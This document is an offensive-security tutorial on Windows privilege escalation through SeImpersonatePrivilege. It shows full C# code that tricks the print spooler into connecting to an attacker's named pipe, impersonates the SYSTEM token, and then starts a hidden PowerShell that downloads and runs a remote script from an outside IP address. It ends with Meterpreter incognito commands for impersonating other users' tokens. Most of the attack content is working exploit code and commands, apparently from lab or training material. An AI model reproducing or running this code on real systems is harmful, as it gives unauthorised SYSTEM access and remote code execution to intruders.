SeImpersonatePrivilege
The SeImpersonatePrivilege privilege allows us to impersonate any token that we can get a HANDLE to. Built-in accounts like Network Service, Local Service, and the default IIS account have this privilege assigned by default.
A useful technique for privilege escalation is to invoke the DuplicateTokenEx API to create a primary token from a user’s impersonated token, allowing us to create a new process in the context of the impersonated user. Alternatively, when no tokens related to other users are available in process memory, we can request the SYSTEM account to provide us a token we can use for impersonation.
The SharpGetSystem proof of concept demonstrates this using C#, installing the current console process as a service and getting the service to connect to the named pipe, enabling the console service to escalate to the SYSTEM account.
Abusing the print spooler
The Windows print spooler process runs with the context of SYSTEM and monitors printer object changes and sends change notifications to print client by connecting to a client’s named pipe. A process that has the SeImpersonatePrivilege privilege can use the ImpersonateNamedPipeClient to acquire an impersonation access token from the print spooler process after it successfully establishes a connection to its named pipe.
Using the following C# .NET code shamelessly stolen from SharpGetSystem, we can create a named pipe for the print spooler to connect to. Once a connection is established, we’ll use our SeImpersonatePrivilege privilege to impersonate SYSTEM’s access token, gather information about the token, and print the SYSTEM’s security identifier (SID):
using System.Runtime.InteropServices;
namespace Pwn
{
class Program
{
public const uint SECURITY_SQOS_PRESENT = 0x00100000;
public const uint SECURITY_ANONYMOUS = 0 << 16;
public const uint SECURITY_IDENTIFICATION = 1 << 16;
public const uint SECURITY_IMPERSONATION = 2 << 16;
public const uint SECURITY_DELEGATION = 3 << 16;
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
public static extern IntPtr CreateFile(
[MarshalAs(UnmanagedType.LPTStr)] string filename,
[MarshalAs(UnmanagedType.U4)] FileAccess access,
uint share,
IntPtr securityAttributes,
[MarshalAs(UnmanagedType.U4)] FileMode creationDisposition,
uint flagsAndAttributes,
IntPtr templateFile
);
static void Main(string[] args)
{
if (args.Length == 0)
{
Console.WriteLine("Usage: Pwn.exe pipename");
return;
}
string pipeName = args[0];
// create a file for the named pipe
IntPtr hfile = CreateFile(
pipeName,
FileAccess.Read,
0,
IntPtr.Zero,
FileMode.Open,
SECURITY_SQOS_PRESENT | SECURITY_IMPERSONATION |
SECURITY_DELEGATION,
IntPtr.Zero
);
// create a named pipe and block for inbound connections
IntPtr hPipe = Pinvoke.CreateNamedPipe(
pipeName,
3,
0,
255,
0x1000,
0x1000,
0,
IntPtr.Zero
);
// wait for incoming pipe client
Pinvoke.ConnectNamedPipe(hPipe, IntPtr.Zero);
// impersonate pipe client's access token
Pinvoke.ImpersonateNamedPipeClient(hPipe);
// get a handle to this thread's access token
IntPtr hToken;
Pinvoke.OpenThreadToken(
Pinvoke.GetCurrentThread(),
0xF01FF,
false,
out hToken
);
// get access token information length
Pinvoke.GetTokenInformation(
hToken,
1, // TOKEN_INFORMATION_CLASS == TokenUser
IntPtr.Zero,
0,
out int TokenInfLength
);
// get access token information
IntPtr TokenInformation = Marshal.AllocHGlobal((IntPtr)TokenInfLength);
Pinvoke.GetTokenInformation(
hToken,
1,
TokenInformation,
TokenInfLength,
out _
);
// get access token SID
Pinvoke.TOKEN_USER TokenUser = (Pinvoke.TOKEN_USER)Marshal.PtrToStructure(TokenInformation, typeof(Pinvoke.TOKEN_USER));
Pinvoke.ConvertSidToStringSid(TokenUser.User.Sid, out IntPtr pStr);
string sSID = Marshal.PtrToStringAuto(pStr);
Console.WriteLine(@"Found sid {0}", sSID);
}
}
}
We compile and invoke Pwn.exe
with the following:
.\Pwn.exe \\.\pipe\test\pipe\spoolss
Using SpoolSample we can get the print spooler to establish a connection to our named pipe, enabling us to impersonate the token. Invoke the following:
.\SpoolSample.exe ${COMPUTERNAME} ${COMPUTERNAME}/pipe/test
After a couple of seconds, Pwn.exe
should report the SID of SYSTEM!
Popping a shell
The following C# .NET code will impersonate a SYSTEM token and use it to create a new process, executing an arbitrary command:
namespace Pwn;
class Program
{
public const uint SECURITY_SQOS_PRESENT = 0x00100000;
public const uint SECURITY_IMPERSONATION = 2 << 16;
public const uint SECURITY_DELEGATION = 3 << 16;
public const uint TOKEN_ALL_ACCESS = 0xF01FF;
static void Main(string[] args)
{
if (args.Length == 0)
{
Console.WriteLine("Usage: Pwn.exe pipename");
return;
}
string pipeName = args[0];
// create a file for the named pipe
Pinvoke.CreateFile(
pipeName,
FileAccess.Read,
0,
IntPtr.Zero,
FileMode.Open,
SECURITY_SQOS_PRESENT | SECURITY_IMPERSONATION |
SECURITY_DELEGATION,
IntPtr.Zero
);
// create a named pipe and block for inbound connections
IntPtr hPipe = Pinvoke.CreateNamedPipe(
pipeName,
3,
0,
255,
0x1000,
0x1000,
0,
IntPtr.Zero
);
// wait for incoming pipe client
Pinvoke.ConnectNamedPipe(hPipe, IntPtr.Zero);
// impersonate pipe client's access token
Pinvoke.ImpersonateNamedPipeClient(hPipe);
// get a handle to this thread's access token
Pinvoke.OpenThreadToken(
Pinvoke.GetCurrentThread(),
TOKEN_ALL_ACCESS,
false,
out IntPtr hToken
);
// duplicate access token
Pinvoke.DuplicateTokenEx(
hToken,
TOKEN_ALL_ACCESS,
IntPtr.Zero,
2,
1,
out IntPtr hSystemToken
);
// create new process
Pinvoke.STARTUPINFO startupInfo = new(
) { dwFlags = (int)Pinvoke.STARTF.STARTF_USESHOWWINDOW,
wShowWindow = (short)Pinvoke.SHOWWINDOW.SW_HIDE };
Pinvoke.CreateProcessWithTokenW(
hSystemToken,
0,
null,
"powershell -Command \"(Invoke-RestMethod -Uri 'http://192.168.45.190:80/Payload.ps1' -UseBasicParsing) | Invoke-Expression\"",
(uint)Pinvoke.CreateProcessFlags.CREATE_NO_WINDOW,
IntPtr.Zero,
null,
ref startupInfo,
out Pinvoke.PROCESS_INFORMATION _
);
}
}
Meterpreter incognito
With a SYSTEM level meterpreter agent, we can use the incognito module to impersonate users’ tokens. Here are some example invocations:
load incognito # load the module
list_tokens -u # list tokens available
impersonate_token ${DOMAIN}\\${USERNAME} # impersonate a user
getuid # verify you pwned that user